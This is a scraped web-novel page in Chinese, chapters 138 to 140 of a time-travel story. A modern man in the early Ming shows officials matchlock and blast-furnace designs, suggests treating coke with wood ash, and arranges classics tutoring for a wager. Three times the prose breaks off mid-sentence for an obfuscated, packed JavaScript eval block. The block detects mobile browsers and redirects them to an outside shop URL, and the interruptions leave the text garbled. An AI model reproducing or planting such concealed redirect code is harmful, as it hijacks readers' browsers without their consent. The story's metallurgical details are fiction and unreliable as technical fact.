PS:我回来了,我回来了哈哈哈,有兄弟提了群的事情,是这样的,现在成绩太差了,我也不好意思开,等排到推荐给我,看的人多点了,我一定会开群给大家喷我的机会的,放心放心。 第一百三十八章 能让他立马来工部上班么? 赵集一个大跳,开始抓着朱安宁的肩膀在摇晃。 “朱大人,朱大人啊!这铳有做出来过么?!可有实物?!” 一大早朱安宁被人晃了几次,只觉得古人是不是都脑子有包……这么喜欢晃人。 “停停停,赵大人,这就是个构想,构想!哪来的实物?!”朱安宁赶忙开始解释。 这东西现在没有啊! 其实,就算是放现代他也掏不出来……抢文物判几年?这可不刑! “不是实物上面怎么把制作方略都写得一清二楚!!!”赵集一听,也是急了。 对他这种懂技术的官僚来说。 这种求而不得的感觉,不就是挠心挠肺么? “啊?写了么?……啊对对对写了,这不就是我瞎写的么。” 朱安宁被晃得没办法,只能又开始胡诌。 反正早就对不起宋应星宋大人和徐光启徐大人了……他已经没什么心理负担了。 “瞎写?”赵集听见这话,又有种眼前一黑的感觉。 但是他又立马回过味来了,不对……这不对…… 这制作方法,以及对材料的要求,详略得当,不像是胡诌的。 他颤抖着放开了朱安宁,又趴到了图纸上。 一百五十步的射程。 造个几千把。 一轮齐射过去。 不得把对面打傻啊…… 也不怪赵集会颤抖。 任何划时代的产物,总是会让人敬畏。 因为这类东西,往往都是在挑战人的想象力。 他疯魔了似地在那喃喃自语些什么枪管太难造了,这不得一个月去打磨,怎么接啊,清洗方便么?精铁,居然要精铁,铁十得一精铁,这这这也太废料了之类的话。 而站在一旁的朱安宁,看着趴在那里的两人,表情也是相当精彩。 这赵大人什么官职啊。 好像有点魔怔啊…… 不过图纸有用就行…… 总算解决了最重要的一个问题,有人能懂自己说的东西…… 其实这段时间,朱安宁摸索了一大堆书,得到了很多改造科技的方案。 但是明朝的书和明史一样,都有一个特点,就是一印证就会有区别。 这让朱安宁是痛苦不堪,他根本不清楚这所谓的明初,那个科技发明了但是没推广,又是哪个科技只是点了前置。 所以这也是他一直不敢怎么说去触碰火器的原因。 本来他就不熟悉,万一造不出来,乐子就大了。 只不过现在这个问题,应当是可以解决的,毕竟看这赵大人的样子,是有戏啊。 要不,把其他资料也给他印证一下? 朱安宁有点蠢蠢欲动。 这冶铁造枪不像农事。 农学的东西他还敢说指手画脚,毕竟学过。 但是这工学的东西,他胆子确实不够…… 不过现在看蒯富也好这赵大人也好,都已经沉浸在图纸中,等他们看完再说吧。 于是他便也只能站定在那里等待。 这幅场景,放在工部主事们眼中,那是相当不得了的。 因为他们亲爱的赵大人,似乎是趴在了石头上,在那看不知道什么东西。 而那个年轻人,是气定神闲地站在那里。 仿佛一切尽在掌握之中的感觉。 果然,果然能和太子陛下等人谈笑风生的人,都不是一般人。 不能惹不能惹。 一众官吏们,互相对视了一眼,那是心领神会。 不知多了多久。 像在笑,又像在哭的赵集,高高地举起了图纸。 长叹了一口气。 “天物!” 对……天工开物嘛……听见对方的感叹,朱安宁也在心里吐槽了句。 看那赵大人似乎回到了可以沟通的状态,他也连忙松了松身子,站久了确实有点累…… “赵大人,这火绳枪,是否可造?” 朱安宁连忙发问。 图纸是一回事,具体能不能造出来,还得专业的来。 他也多少有些紧张。 “当然可!”只见赵集斩钉截铁地说道。 那是让朱安宁的心立马就定了下来。 然后。 不出意外的,意外要来了。 “但是!” “但是?” 我靠,又是说话说一半的人……朱安宁心里怒骂了两声,却也不敢说出来,只能尴尬地赔了笑。 “这精铁不好弄啊……如果枪管都是要用精铁,那一年到头,能造几把啊……” “敢问赵大人,这精铁问题,是否炉温不够?” “炉温?”赵集听见这说法,也是立马就来劲了。 他隐隐已经觉得,这朱安宁确实不简单。 早前想要参他一本的想法,早就丢到九霄云外了。 就凭借这火绳铳的图纸,他朱安宁不得给个几品的官啊,怎么才九品??? 不行,晚些得和太子说说,要不把这家伙放到自己工部? 赵集是一下就冒出了一堆想法。 而朱安宁哪知道,这赵集居然 能在短时间内从想鲨了自己,到馋自己…… “对,炉温,精铁的冶炼,需要高的炉温才行,据我所知,木炭是比较难达到这个温度的。否则的话只能包钢或者锻钢,但是这样产量也很难上来,这也导致了精铁一类材料,较为难得。” 他开口就非常专业,毕竟是查过一大堆资料的。 赵集早就不再把朱安宁当做愣头青。 他知道眼前的年轻人是懂行的。 只见赵集点了点头,说道:“所言不虚,我掌管虞衡清吏司以来钢,都只能省着用,这还是广东和苏州全力产出的结果,如果不是广东那边发现了质地好的铁矿石,我这根本就不够用,所以朱大人这边有想法?” 赵集也不敢直接问是否有什么解决的办法…… 在他心中,这实在是有些强人所难。 宋以来,元就不说了。 多少能人异士都解决不了的问题。 他朱安宁若是能出个好点子,略微提高一下钢的产量,他赵集怕不是都能乐得晚上睡不着,半夜去求朱元璋给他朱安宁升官了。 这下赵集是完全不管蒯富了。 他直接就扯着朱安宁坐到了石头上,也不管远处那些下属官吏们的眼神。 目光灼灼的赵集,就这么看着朱安宁,有些期待他能说出什么东西。 而朱安宁却没有直接回应赵集刚才的提问。 他突兀地转换了话题。 “赵大人是否知道焦炭,即是岚炭。” 这问题自然是出乎赵集意料的,只不过这个问题也难不倒他。 “嗯?焦炭,当然知道,煤先积而烧之,谓之熟煤……朱大人,你不是想用焦炭烧炉炼铁吧。” 赵集张大了些嘴巴,当看见朱安宁点了点头后,里面露出了些许失望的目光。 果然,还是不能太多期待。 赵集心中有些苦涩。 但还是用上了耐心的口吻,给朱安宁解释道:“若是朱大人准备用焦炭炼铁,那大可不必了……” 他见朱安宁没有回话,便也就继续说了下去:“硫质会让铁变脆,虽然焦炭在炼制的过程中,用焖烧的法子,可以去除绝大部分的硫质,但是一样会有残留,这焦炭炉温是高了,但是产出来的铁……” 赵集苦笑着摇了摇头。 早年他也是不死心地炼过一炉焦炭钢,结果出来的刀剑品质差得要死,差点把他气晕过去。 所以,关于焦炭的使用,他是有发言权的。 朱安宁看着对方的表现,便也是了然于胸。 果然,这个年代是有焦炭的,只是不好用而已。 “质量普遍不如木炭对么?”只见他会心一笑:“焦炭炉温高,若是能解决硫质,这个问题,怕不是要比木炭好用多了。” 这个说法,让赵集更是连连摇头。 “朱大人,我试过了,查阅了各种古籍,寻访了无数匠人,都没办法。” “加高焖烧的炉温和时间也不行?” 嗯,这年轻人真的懂行? 赵集抬头看了眼朱安宁,然后是苦笑了出声:“硫质算是下降了,炼出来的铁质地也不错,但是你焖烧那么长时间,为何不直接用木炭冶铁呢?” “有道理。” 朱安宁摸了摸下巴。 在和赵集聊天的过程中,他已经收集够了足够的信息。 起码算是搞清楚了明初冶炼技术的情况。 那搞清楚了情况,就可以着手解决了啊。 于是,朱安宁又笑了起来。 而这笑容,却也是让赵集回过了味来。 莫非是…… 既然他会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不然这么高的燃烧温度,早就开始大规模使用了。 也就是说,只要他朱安宁能够略微解决一下这焦炭的问题,明初的冶炼水平,少说能上一个档次。 “赵大人,在焖烧之前,加入草木灰,即可。”他胸有成竹地提出了解决方案。 其实强碱都行,只不过草木灰容易获得。 朱安宁才说了这材料。 而赵集却是觉得,这是否过于简单!简单得好像有点儿戏啊…… “朱大人,炼铁时也会略微加入些草木灰,但是从未听说过炼焦也可以加……这是否……这是否……有点过于简单,你是否试过可行与否啊?” 虽然已经对朱安宁有了些信任感。 但是这个炼焦的法子,怎么听都是过于简单。 而朱安宁,也没有直接回答这个问题,他缓缓说道。 “可行与否,赵大人找个地方炼一炉焦炭就是,这种事情,说不如看结果,恰好我这永乐庄也要建高炉,那就用新的焦炭来试试炼铁就是。” 朱安宁拍了拍身下的石头,说得是掷地有声。 情况摸清楚了。没有早上那么慌了。 而且他也想好了,燧发枪很好,也很棒,但是缓一缓,先把火绳枪给弄出来,他老朱不会这都要砍自己吧? “好,就该如此,说一千道一万,还是得看实物!” 赵集是摆了摆手,也表示认同朱安宁说的话。 早上时他还打算赶紧撤掉这些人。 而现在,他却巴不得,能再来多点人。 “对了,赵大人,我还有一事。您是主管冶铁的话,是否能看看我这高炉是否可行。” “还有?!”赵集只觉得今天是从早现在心跳都不太稳定。 朱安宁也没藏着掖着,他掏出了刚才已经给蒯富看过的改良型高炉。 “高炉?” 还好,这不再是什么惊世骇俗的神物,或者说法……只不过这炉子看起来,有点奇怪啊。 “这炉多高?” “寻常高炉高度而已。” “那下方这个构造,是鼓风用的?这口子怎么这么小?” 很好,这赵大人,比蒯富要懂行得多! 朱安宁,终于是舒心地笑了起来。 和大佬共事,自己的脑袋是保住了。 他没有开口,而是把天工开物中的,活塞式风箱图纸,摊了开来。 缓缓地说道:“这玩意,能造么?” 第一百三十九章 师从薛金星王后雄 应天府皇宫内,阳光洒在琉璃瓦上,闪烁光芒。 殿内的气氛多少有点紧张。 朱元璋端坐于龙椅之上,眉头紧锁,正在专心致志地安排着最后的北伐事宜。 这已经是第三次北伐了,第一次还算成功,但是第二次,就算再怎么粉刷,输了就是输了。 现在这第三次,无论如何都是要赢的。 初建的大明,很需要多一场胜利来稳固某些人的信心。 “旨意发出去了吧,军队开拔需要时间,不能再拖了。”朱元璋沉声说道。 古代军队的调动并非易事,不是说简单的一声令下,边境线上就能涌现出无数军士。 这需要周密的计划和细致的准备。 其实朝廷中的大部分官员都已经敏锐地察觉到了北伐的临近。 自从胡惟庸离去后,没了阻碍的朱元璋,政令变得异常通达。 几个阁臣也是兢兢业业,对朱元璋的指示言听计从,这让他感到前所未有的爽利和顺畅。 每每此时,朱元璋都会暗自感慨,朱安宁真是个妙人,为自己献上了如此精妙的计策。 “平西侯已经率部开拔,对外宣称是练兵。”李善长坐在下方,恭敬地汇报着。 这位本来已经退居二线的老臣,因胡惟庸的离开而再次被委以重任。 尽管一把年纪,他能力还是有的。 阳光透过窗棂,李善长抬起了头,黑眼圈显而易见,这段时间事务繁杂,他也是真的累了。 朝堂,需要有人去稳定干掉胡惟庸带来的风波。刘伯温不管他愿不愿意,他都是浙东领袖,而李善长则暂时取代胡惟庸作为淮西勋贵的头,努力平衡着朝堂上的各方势力。 “不出意外的话,入冬之前,就能准备好一切事物……”刘伯温也跟了一句:“但是应天府火器供应……或许会有些不足……” “嗯?怎么回事?火器不足,这城西那边不是已经开采铁矿供了这虞衡清吏司很长一段时间了么?怎么火器还不足。” “禀陛下,那矿的品质据说相当一般,虞衡清吏司单是每天分拣矿石都累得够呛……” 品质一般? 朱元璋听着这说法,不由得愣了愣,他清楚地记得,这矿开采出来后,他是去看过的。 他又不是什么都不懂的小白,那矿虽然不是什么如广东那边的好矿,但是品质绝对不会太差。 怎么会说想在分拣矿石都要花长时间呢? 他敏锐地嗅到了些气息。 但是却也没有表露出来。 江南那边的贪腐案,已经掌握了相当多的线索。 户部,工部……六部的尚书们侍郎们,多多少少都有牵扯其中,只是说深与不深而已。 要说这粮食是大明的命脉。 那火器的制造,也是重中之重。 老朱立面就想到了,粮都敢贪……会不会……这里也出问题了。 一念至此,老朱那是后背都凉了不少。 愤怒是当然的,但是更多的则是惊惧。 大明才立国多少年,怎么就能出现这么多蛀虫? 要是长此以往……那大明能熬多少年啊……会不会重蹈元的覆辙…… 朱元璋按着龙椅,猛地站了起来。 却也没说出任何言语。 这让刘伯温和李善长都愣了愣神。 直到过了不知多久,朱元璋坐了下去,缓声说道:“诚意伯说得事,咱知道了,火器可由广东苏州那边拨付,应天府的火器,就不要动了,好好保存起来,咱未来有用。” 这个旨意。 也没什么不妥。 但是刘伯温,却感觉到了,自家老板的态度好像有点不对头。 只是,这他又能说什么呢,总不能去问,陛下何故不开心吧。 于是,也只能领了旨意,退下。 ———————— 永乐庄。 赵集现在已经快要乐疯了。 朱安宁的袖口,就像个百宝袋一样,一掏,就是一张珍贵无比的图纸。 赵集都想要冲过去摸一下朱安宁身上还有没宝贝了。 只不过这样太过伤风败俗。 是道德,让赵集遏制住了自己原始的欲望! 现在的他正抓着自己手下的几个主事和那些工匠,在研究图纸。 朱安宁的风箱行不行。 行家一看就知道。 这可太行了啊。 “赵大人!这图纸!!是您想出来的么,按照这个设想,高炉的温度,应该能提高许多啊,火力旺不旺,就是依靠扇风!”一名主事也是乐开了怀。 这几名主事,都跟了赵集相当久。 他们是知道赵集本质上就是个技术狂,研究起这些东西来,是通宵达旦的,而他,确实也是曾经帮工部解决过不少难题的。 所以他的威望,很高。 高到大部分主事,都对赵集相当尊重。 所以当他们看到这新式风箱的时候,自然就会下意识地认为,这是赵集的想法。 任谁也想不到,会是那个年轻的朱大人的杰作。 既然大伙都认为是赵集赵大人的想法, 且又一致认为这想法可行,那接下来就是喜闻乐见的拍马屁的环节。 几个主事和工匠,都是搞技术的好手,但是拍起马屁来也是毫不含糊。 一群人围着赵集,主题思想就是赵大人牛逼,赵大人大大的牛逼之类的肉麻话语。 要说平日就算了,他赵大人受得起。 但是这想法还真就不是他提出来的啊。 所以听到有一名主事居然把他升华到智比诸葛的时候,他终于是忍不住开口了。 “诸位同僚,静一静……其实这新风箱,并非是我想出来的……” 就算他脸皮再厚,和诸葛比,也是过了…… 赵集是真的没想到,短短小半天,这不知道哪冒出来的九品赞读,能解决这么多问题。 怪不得上位会说要来这里造高炉,冶铁制火器。 他扫了一眼现场,那是不满了起来。 会不会,太少人了…… 朱赞读说的东西,都是要逐一试验的,按照现在这人手,不得等到猴年马月去? 不行,回去就要立马上奏陛下和太子,多些人手过来才行。 赵集已经打定了主意。 而这事,他觉得也需要和朱安宁说一声才对。 结果一抬头,却发现朱安宁正在往田埂那边走去。 他连忙三步并两步地追了上去。 “朱大人,朱大人,你要去哪里啊,这铁冶,我还有一些事项要和你谈下啊。” 赵集远远地就开始叫唤朱安宁的名字。 结果却发现朱安宁是越走越快。 一个拐弯,朱安宁就消失在了小道边上。 这让赵集是捶胸顿足。 怎么回事,这朱赞读! 只是他也不熟悉永乐庄,他更不敢远离铁冶的地方,而且,他还想要继续和工匠,主事们讨论剩下的图纸。 便也只能跺了跺脚,叹气走回去。 而躲在树后的朱安宁,终于是抽空舒了口气。 他也是怕被赵集发现才出此下策。 朱安宁其实并不排斥赵集这类理工男。 现代又不是没见过。 只是……他现在还有重要的事情要做。 这铁冶,他已经把能给的,都给的差不多了。一时半会也提不出更多意见,不如赶紧先办好自己的事情先。 比如……教书。 火绳枪重不重要? 重要。 他朱安宁这口气,重不重要? 也重要? 虽然他不能砍了方孝孺十族,但是让那个方孝孺认个错,说声对不起,他还是很乐意的。 所以,他现在必须要快点赶到学堂,早点把胡修道和柳文抓出来,这才是迫切的事情。 多让他们学一天,便能多一天的胜算。 他的想法很是简单。 资料他都打印好了,死记硬背,这两人不至于做不到吧。 一边想着,他一边走到了学堂边上。 刘畾此时正在里面教那群孩童们识字。 要说古人还是珍惜读书的机会,这群孩童,年纪不一,但是愣是没有一个走神打瞌睡的,他们都在努力地模仿刘畾写下的字,然后笨拙地开始勾勒。 大抵是,村庄的孩童,都知道读书的机会来之不易吧。 而走进的朱安宁,也是发现了,门口居然还有其他人在。 站在门口的刘廌,也是看到了前来的朱安宁,他规规矩矩地行了个礼,叫了声先生,眼中多少有点不解。 这个点数,一般来说,朱安宁应该还在睡觉吧…… 怎么都跑学堂这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378743|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边来了? “先生?” “季廌,你在这里干嘛。” “等季畾他教完识字,我还要上去讲话本啊,不是先生您定的课么,说劳逸结合……” “哦对对对,季畾他快教完了是吧,那我等一等,一会我要把胡修道和柳文带走。” 朱安宁听见刘廌的话语,也是点了点头。 课程表确实是他定下的,培训这几人当老师,他可是花了不少心思的。 现在来看这学堂好像运作得还不错啊…… “胡修道和柳文?”只见刘廌复述了一下朱安宁的话语,然后瞬间醒悟了过来:“先生是为了和那方孝孺的赌约吧!所以先生是已经有了对策?” 刘廌知道要搞定论语应该是一件极其艰难的事情。 但是看朱安宁现在有条不紊的样子,他又莫名觉得,先生一定能搞定这件事情……虽然真的和他的认知冲突了。 需要知道,他和刘畾,已经算是年青一代中,学识过人的那种。 年少时学四书五经也是学得痛苦不堪。 全因文章本就晦涩,结果大儒们给的注解,那是比文章本身还要晦涩,这简直就是雪上加霜。 所幸大儒们讲得都还算通俗易懂,才让他们坚持了下来。 那要说朱安宁能比肩大儒? 那是不可能的……出口成章没怎么看见,他们倒是经常听朱安宁出口成脏。 “对策?废话……没对策我敢和那十族……呃,方孝孺赌?” 朱安宁也不藏着掖着,他直接就从袖 口掏出了几张纸,那正是昨晚抄好的论语注解。 刘廌好奇地接过了那些纸张。 然后慢慢看了起来。 他从随意看,到皱起眉头。 最后则是长大了嘴巴。 连屋内授课的声音都打扰不了他。 这些通俗易懂的说法,本来就是为了简化教学用的。 哪会像古代这样,为了维护自己的注解权,那是越绕越复杂。 更别说,朱安宁抄写的是练习册上的那种,还会拓展背景故事的那种。 这下不仅是通俗易懂了,还有理有据。 让刘廌是直接沉沦了进去。 他是第一次看到这种注解。 那是完全和当代不一样的注解……不,应该说是和任何朝代的都不一样的注解。 这些文字,就像是一个大儒,怕你读不懂,然后一个字一个字地换成口语写给你那般……只是读过一次,刘廌就立马知晓了这份东西的价值。 “这!这!敢问这注解!是哪位大儒所著!真是娓娓道来,相当有趣啊!” 有趣? 古人的脑袋看来都是有问题的……读书怎么会有趣呢。 不过朱安宁也看过有些古代的注解,那是看得他一个头两个大…… 所以他也知道自己这一份大白话注解的威力有多大。 看着刘廌目光灼灼。 朱安宁是缓缓报出了这份注解的来源:“这注解,是我在行商时认识的大儒授与我的……他们的名字是……薛金星,和王后雄。” “薛金星,王后雄?”刘廌开始仔细地回忆,结果想来想去,都没法和自己认识的大儒对上。 最后只能是感叹神州之大,在自己不知道的地方,居然还有能对问题理解得这么透彻的大儒,真是人外有人,天外有天。 “那先生也是薛先生和王先生的弟子?”刘廌行了个礼,一脸震撼。 怪不得朱安宁朱先生能学识这么渊博……虽然有时说话很是烂白…… 原来是受过大儒的教导! 这就说得通了。 这刘廌的话语,也是让朱安宁的脸庞愉快了起来。 薛先生和王先生的弟子? 算是吧…… 毕竟《五年高考》《三年模拟》《中学生教材全解》什么的,自己可没少刷,算起了也算是薛金星,王后雄的弟子了吧…… 所以,朱安宁点了点头,算是默认了这件事情。 刘廌也醒目地没有再追问下去。 既然连自己都不知道薛金星,王后雄这两个名字,那么应该就是隐世的高人,自己不该多问的。 正当此时,里面的识字课,好似恰好结束,孩童们都起身开始放松。 朱安宁凑到窗边,大喊了声。 “胡修道,柳文,出来!” 第一百四十章 文化课,总归是一件痛苦的事情 朱安宁刚开始叫唤。 刘廌便在一旁开了口。 “先生!” 朱安宁回头看了一眼刘廌,有些疑惑。 刘廌也没有废话,他直接开口道。 “先生若是想教胡修道和柳文,可否让我来……我想试试……” 这是意料外的事情。 朱安宁是多少有点懵逼的。 他早就做好了亲自上的打算,毕竟赌约这种东西,输了老丢人了。 结果现在这季廌好像有点想法。 这让朱安宁是多少有点猝不及防…… “你……没问题?” 这句话三分怀疑是七分喜悦。 怀疑自然是怕季廌能力有限,喜悦是……现在B事这么多,他是真的有点烦。 已经好久没有好好打过电脑里的游戏,或者是储存的电影或者小电影了。 这穿越过来感觉一直就是在做牛做马,丝毫没有享受到什么荣华富贵,糜烂人生……可恶啊! “先生,给我一个机会!”刘廌看到朱安宁那有些许怀疑的目光,也是知道对方不太相信自己,但是作为大儒之后,他还是有脾气的。 只见他向前一步,行了个大礼。 “有此注解,一个月内,定能让胡修道和柳文,顺利赢下方孝孺。” 本来这事和刘廌是没什么关系的。 但是他性子本来就比较随性。 事后听见方孝孺的言行,那是鄙视得不得了。 现在朱安宁又掏出了这份注解,他当然就是想试一试自己教胡修道和柳文啦,就看朱安宁给不给他这个机会了。 在两人说话的时候,胡修道和柳文已经跑到了学堂外。 站到了朱安宁和季廌身前。 两个少年是有些紧张,以为自己又惹了什么事情,被抓包了。 “朱先生……季先生……今天程伯家的稻苗是柳文拔的,不干我事啊!” 于是,过于醒目的胡修道,开始倒竹子似地开始控诉自己的队友。 “胡修道你!!!”被出卖的柳文那是直接脸腾地红了起来:“前日你不是也把郑村那边的鸡都逮了一只么?” “柳文你没吃啊?!而且那鸡自己跑到咱们村,一头撞死在石头上,能怪我?!你上旬不也是跑人家诚意伯的田那里偷菜了么?” 两人开始了相互揭短。 季廌一听那是笑容直接就僵在了那里……什么玩意,偷菜还偷到了自己家田里。 这两个人是能学圣贤书的? 朱安宁也是听得一阵头大。 这两人说得难听点,那就是偷鸡撵狗……这……没被人家逮着真是幸运。 “停停停!不要再说你们的罪过了,我不想听!”朱安宁连忙做了个止住的手势。 他怕后面听到更脑淤血的内容,于是连忙叫停。 “嗯?不是训我们……啊,早说嘛,吓死我了……”胡修道一听原来不是苦主投诉,庄主追责,那是立马舒了口气。 把刘廌看得是脑筋突突的。 朱安宁也终于是忍不住,敲了一下他脑袋。 一个爆栗之下,嘚吧嘚吧说个不停的胡修道,也终于是住了嘴。 柳文则在一边嘿嘿笑了起来。 然后也吃了朱安宁一个爆栗。 “唉哟……朱爷,疼啊。” “知道疼就行,本来不想训你们的,你说说你们天天正事不干,在这追鸡撵狗的,像话么……呐,今天开始,你们跟着季廌先生,学新的东西……” 朱安宁黑着一张脸,是在想要不要去隔壁庄子道歉。 自己这边犯的事,算就算了,这两人都偷鸡了,还去人家诚意伯家里偷菜。 妈呀,那是刘伯温啊…… 虽然是个相对好说话的官,但是也是大官啊…… “啊?学新东西?现在的不学了?” “怎么不学!都得学,但是这季廌先生要给你们学更多的东西,毕竟你们两年纪大点。” “那感情好,季廌先生,是要给我们讲其他的话本么?” 柳文笑了笑,露出了两排大白牙。 是连季廌都终于受不了,他翻了个白眼说道。 “没有话本了,接下来一个月,你们要好好跟我学圣贤书!” 刘廌背着手,颇有点先生的样子。 而这话一说出。 胡修道和柳文都是变了脸色。 其实朱安宁的学堂也是安排了基础的课程的,所以他们并不是就像方孝孺他们认为的那样,完全不教儒家的东西。 毕竟这个时代是明初啊,这群孩子未来生活下去,也是需要这些东西的。 所以朱安宁并没有说就是直接只有专业课程,没有文化课程。 偏科不可取啊。 只是也和现代类似。 这胡修道和柳文,上农学课那是眉飞色舞,上话本课那是龙飞凤舞,至于上文化课,那基本就是两个废物了。 除了识字课他们能勉强打起精神外,其他文化课,他们都是在痛苦和煎熬中度过的。 他们也知道机会难得,相当重要,但是就是煎熬。 和我朝高中生类似的 情况…… 所以一听圣贤书这三个字。 胡修道和柳文的血压,也突突突地高了起来。 甚至生出了要不要逃一逃的冲动。 可惜朱安宁一个人堵了前面,刘廌一个人堵了后面,两人是好想逃,却无处可逃。 “学多久啊……”胡修道苦着个脸,尝试开始接受现实。 “一个月!”季廌则报出了对应的时间然后再加上了课程安排:“每天都只学这个。” 这话,差不多等于告诉现代高中生,接下来,每天都是语文课,持续一个月。 这是足以让人晕厥的事情。 所以柳文一下就陷入了大脑宕机的阶段。 而胡修道反应要快一些。 他瞄准了个方位,就想逃窜。 可惜朱安宁眼疾手快,一把把他薅了回来。 “放开我!放开我!我要去报官,这是有违明律的!这是有违人伦的!啊!救命啊!!!” 被按住的胡修道,嘴巴可没有停,他喊得……相当的凄厉。 可惜的是,里面孩童们,只能投来疑惑的目光。 而站定的两个成年人,则,毫无怜悯。 是时候改造一下这两个小王八蛋了,用圣贤书。 ———————— 朱安宁的院外。 铁冶建造的现场。 赵集已经完成了大部分前期的安排。 专业的就是专业的。 现场一下变得井井有条起来。 那些主事,也知道了,这些宝贵的图纸出自谁手。 那心中对这个名为朱安宁的年轻人,更是多了一分敬畏。 施工现场热火朝天。 而项目经理,赵集赵大人,却还在那里看图纸看个不停。 他不断在思索,如何在第一时间就试验高炉,然后锻铁,然后造枪。 这种神器,那是越快量产越好。 目光灼热的他,开始了属于他自己的推演。 当想到冶铁这一步的时候,他是停了下来。 唤了声蒯师傅。 也同属红帽子范畴的包工头蒯富,那是立马就凑了过去。 “赵大人,何事?” 看见蒯富已经走到眼前,赵集是把图纸摊了开来,指了指那风箱问道。 “这风箱,蒯师傅你确定是能造的?” 蒯富一看,那是胸有成竹地笑了起来,别人都把图纸塞到你面前了,说造不出来,那不是辱了自己工匠首的名声? 所以他说得很是肯定。 “赵大人,刚才咱们不是聊过了么,这新式风箱,难的怎么改,怎么去让出风量更大,但是现在都有图纸了,这风箱并不难造……” 听见蒯富给了肯定的答复,赵集也是点了点头。 但是他立马提出了一个,让蒯富都需要沉思的问题。 “蒯师傅……你觉得寻常的高炉,能顶得住这高热么?” 朱安宁给出的是一系列的改造方案。 首先是改变燃料,用脱硫的焦炭去替换现有的木炭,这本就是提高炉温的做法。 然后他还提出了要用新式鼓风机。 这将进一步提高炉温。 那……现在值得深思的就是,这寻常的高炉……真的还够用么? “但是,朱大人给的图纸,高炉的样式并没有太大的改变啊!”蒯富摸了摸自己的胡须,沉思了片刻才开口回道。 他也是想通了赵集的意思。 “不对,你看这里,这边标注了炉子,是需要耐高热的。” 赵集指了指图,那是朱安宁特意标注的信息。 他其实并没有完全按照天工开物的图来。 为的,就是方便自己理解。 而这耐高温,其实就是他对高炉的想法。 毕竟焦炭加新式鼓风扇,1600度并不是不可能达到,这可是钢水的温度分界线。 达到这个温度,高炉就需要用耐火砖。 这是朱安宁首先思考的问题。 所以才有最初他和蒯富讨论景德镇的情况。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378744|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 待到确认景德镇真的有大量的优质高岭土,他才敢后续的图纸拿出来,和赵集聊。 只是他确实也是疏漏了这件事情,直接就赶过去处理方孝孺赌约这件事了。 幸好蒯富是个有脑子的红帽子,他一拍脑袋,就想起了先前和朱安宁的聊的事情。 那是马上就开口说道。 “炉可以用高岭土,景德镇产的最佳,烧窑的土,那是最为耐热啊!” 这话一出,赵集的眼睛也是亮了起来。 其实高岭土在古代也是通用。 就是以前的炉温没有那么高,大家也不太关注这个土好不好的问题。 而现在蒯富是直接就告诉了他,景德镇有好土,他自然是喜不胜喜啊。 “蒯师傅真是见多识广啊,不愧是工匠首,待到这高炉建好,冶铁顺利,我定会像陛下给你请功!” 这番话赵集是说的真心实意,他是真心感激蒯富能提供这么重要的信息。 结果却没想到,蒯富听完他的话后,会尴尬地笑起来。 “赵大人……” “蒯师傅,有什么事,但说无妨!” “其实……这高岭土造高炉的要求……朱大人早就和我说过了……” “朱大人?有解决的法子就好……” 他居然早就找到了解决的法子? 赵集那是叹了口气。 要是不把这朱安宁拉进工部,鲁班怕不是都要下个雷来劈死自己啊…… 两人都是行动力拉满的人,立马就开始筹划运图造炉的事项。 很快,蒯富就拿着图纸,去找他的人开始商讨具体事宜。 赵集则,终于可以闲下来,休息一会。 而在这铁冶营造还在继续叮叮当当的时候。 成梁已经来到了这永乐庄外。 他已经好几天没有回来了。 驿站的卫兵们都认过永乐庄属地的人,自然就没有拦他。 他就这样绕过歪脖子树,走到了乡道上。 然后,一脸懵逼。 他了连忙又后退了几步,回到了驿站那里。 “兵爷,这……这是永乐庄吧。” “嗯?这就是永乐庄啊……” 卫兵也有点懵。 成梁听完卫兵的话,吸了一口气,再次往前走了几步。 确定了确实没走错后…… 只觉得,这是不是有点夸张…… 一群人在那叮叮当当地不知道在干嘛。 怎么看都不像是建房子的那种。 他也只能硬着头皮往前走,因为要去到朱安宁的院子里,就必须要走过这条路。 永乐庄本就在偏僻的位置,正常行人是不会经过这里的。 所以当看到有人经过这里时,赵集是向成梁投去了审视的目光。 成梁也是相当有眼力见的人。 这群人既然能在这里动工,自然是经过朱安宁的默许的,虽然不知道在干嘛,但是主动先过去打个招呼总是没错的。 于是成梁虽然疑惑,但是还是走了过去。 率先对赵集行了个礼。 “这位爷,我是永乐庄朱庄主家的管事,成梁。” “管事?朱大人家的?” 朱大人? 哦对了,好像朱爷从东宫谋了个官职,成梁一边想着一边继续行礼:“正是正是。” “哦,他家的管事啊,我乃工部侍郎赵集。” 工部侍郎?! 成梁的礼那是行得更深了些。 虽然他之前是永昌侯家的管事,但是实际上,他能接触到的强力人是是相当有限的。 这工部侍郎可不是什么小官,他心脏都不免跳动快了些。 “见……见过赵大人,小的这边是帮朱爷打理一些事务的,若有什么要我帮忙,您尽管说啊……” “那是肯定的,这永乐庄想必成管事是比我们要熟悉的,要你帮忙的地方可不少啊……对了,眼下刚好就有件事情需要你帮忙,铁冶靠河建,我们现在还得寻个地方放铁矿石,那边还是永乐庄的地么?” 赵集随手指了指。 